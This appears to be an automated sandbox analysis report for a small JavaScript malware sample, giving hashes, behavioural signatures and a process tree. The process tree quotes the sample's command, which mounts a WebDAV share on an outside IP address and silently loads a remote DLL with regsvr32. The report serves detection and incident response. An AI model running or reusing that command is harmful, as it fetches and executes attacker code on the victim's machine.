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Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
23/07/2024, 07:44
Static task
static1
Behavioral task
behavioral1
Sample
295245574136504275.js
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
295245574136504275.js
Resource
win10v2004-20240709-en
General
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Target
295245574136504275.js
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Size
5KB
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MD5
a587b1981068975e6f1cf4fc17174566
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SHA1
a50f8af330f059a2f10fea246cbdbe533a1779d3
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SHA256
f3e1b8c6396d539227d79f5f242ae6a1c3924b064555c7c079f2a5433250399a
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SHA512
7b2f4cd1ff2c597e6660031c849aa2af915f434f98d485b5467d4f6d87411e335de8fefe30faf281ea558d9143a2ce3d1ca5b6e3b25ef2f198b9a3d223222da2
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SSDEEP
96:tgV37DwX7VZ4o0L8sto00oPGNloTjNxGAkALbHZOFg4TjNxGaJgdmOOH:KV3wX7V4L8sh1meTjTGAkA/ZOFtTjTG8
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1252 wrote to memory of 2540 1252 wscript.exe 30 PID 1252 wrote to memory of 2540 1252 wscript.exe 30 PID 1252 wrote to memory of 2540 1252 wscript.exe 30 PID 2540 wrote to memory of 1296 2540 cmd.exe 32 PID 2540 wrote to memory of 1296 2540 cmd.exe 32 PID 2540 wrote to memory of 1296 2540 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\295245574136504275.js1⤵
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\262433074623250.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:1296
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